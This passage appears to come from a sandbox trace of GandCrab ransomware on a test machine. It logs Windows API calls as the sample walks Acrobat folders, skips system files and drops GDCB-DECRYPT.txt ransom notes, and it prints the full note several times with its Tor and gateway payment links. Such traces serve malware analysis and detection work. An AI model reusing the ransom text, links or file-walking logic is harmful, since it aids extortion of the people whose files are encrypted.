Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.290] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.290] CloseHandle (hObject=0x500) returned 1 [0053.290] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.292] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned 63 [0053.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*" [0053.292] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x589320 [0053.292] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.292] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.292] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.292] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.292] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.293] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt" [0053.293] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.293] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0053.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0053.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0053.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GDCB-DECRYPT.txt") returned 79 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.293] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.293] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.293] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.293] lstrcmpW (lpString1="GlobData", lpString2=".") returned 1 [0053.293] lstrcmpW (lpString1="GlobData", lpString2="..") returned 1 [0053.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0053.293] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.293] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71 [0053.293] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned 71 [0053.293] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.294] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.294] lstrcmpW (lpString1="GlobSettings", lpString2=".") returned 1 [0053.294] lstrcmpW (lpString1="GlobSettings", lpString2="..") returned 1 [0053.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0053.294] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.294] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75 [0053.294] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned 75 [0053.294] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.294] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.294] FindClose (in: hFindFile=0x589320 | out: hFindFile=0x589320) returned 1 [0053.294] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.294] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0053.294] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0053.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0053.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\" [0053.294] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.294] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.294] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.294] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.294] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.294] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned 64 [0053.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*" [0053.295] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x589060 [0053.295] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.295] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.295] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.295] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.295] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.295] lstrcmpW (lpString1="addressbook.acrodata", lpString2=".") returned 1 [0053.295] lstrcmpW (lpString1="addressbook.acrodata", lpString2="..") returned 1 [0053.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0053.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84 [0053.295] lstrcmpW (lpString1=".acrodata", lpString2=".sql") returned -1 [0053.295] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0053.295] lstrcmpW (lpString1="CRLCache", lpString2=".") returned 1 [0053.295] lstrcmpW (lpString1="CRLCache", lpString2="..") returned 1 [0053.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0053.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned 72 [0053.295] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0053.295] FindClose (in: hFindFile=0x589060 | out: hFindFile=0x589060) returned 1 [0053.295] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.295] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\\\GDCB-DECRYPT.txt") returned 81 [0053.295] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0053.296] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.296] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0053.296] CloseHandle (hObject=0x500) returned 1 [0053.296] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.297] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned 64 [0053.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*" [0053.297] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x589620 [0053.297] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.297] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.297] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.297] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.297] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.297] lstrcmpW (lpString1="addressbook.acrodata", lpString2=".") returned 1 [0053.297] lstrcmpW (lpString1="addressbook.acrodata", lpString2="..") returned 1 [0053.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0053.297] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.297] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84 [0053.297] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned 84 [0053.297] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.297] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.297] lstrcmpW (lpString1="CRLCache", lpString2=".") returned 1 [0053.297] lstrcmpW (lpString1="CRLCache", lpString2="..") returned 1 [0053.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0053.297] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0053.297] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.297] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.297] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.298] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.298] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.298] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned 73 [0053.298] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*" [0053.298] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5891a0 [0053.305] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.305] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0053.305] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.305] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.305] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0053.305] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2=".") returned 1 [0053.305] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="..") returned 1 [0053.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0053.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117 [0053.305] lstrcmpW (lpString1=".crl", lpString2=".sql") returned -1 [0053.305] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0053.305] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2=".") returned 1 [0053.305] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="..") returned 1 [0053.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0053.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117 [0053.305] lstrcmpW (lpString1=".crl", lpString2=".sql") returned -1 [0053.305] FindNextFileW (in: hFindFile=0x5891a0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0053.305] FindClose (in: hFindFile=0x5891a0 | out: hFindFile=0x5891a0) returned 1 [0053.305] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.306] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\\\GDCB-DECRYPT.txt") returned 90 [0053.306] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\crlcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0053.311] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.311] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0053.311] CloseHandle (hObject=0x504) returned 1 [0053.312] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.312] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned 73 [0053.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*" [0053.312] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x589320 [0053.312] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.312] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.312] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.312] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.312] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.312] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2=".") returned 1 [0053.312] lstrcmpW (lpString1="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", lpString2="..") returned 1 [0053.312] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0053.312] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.312] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117 [0053.312] lstrlenW 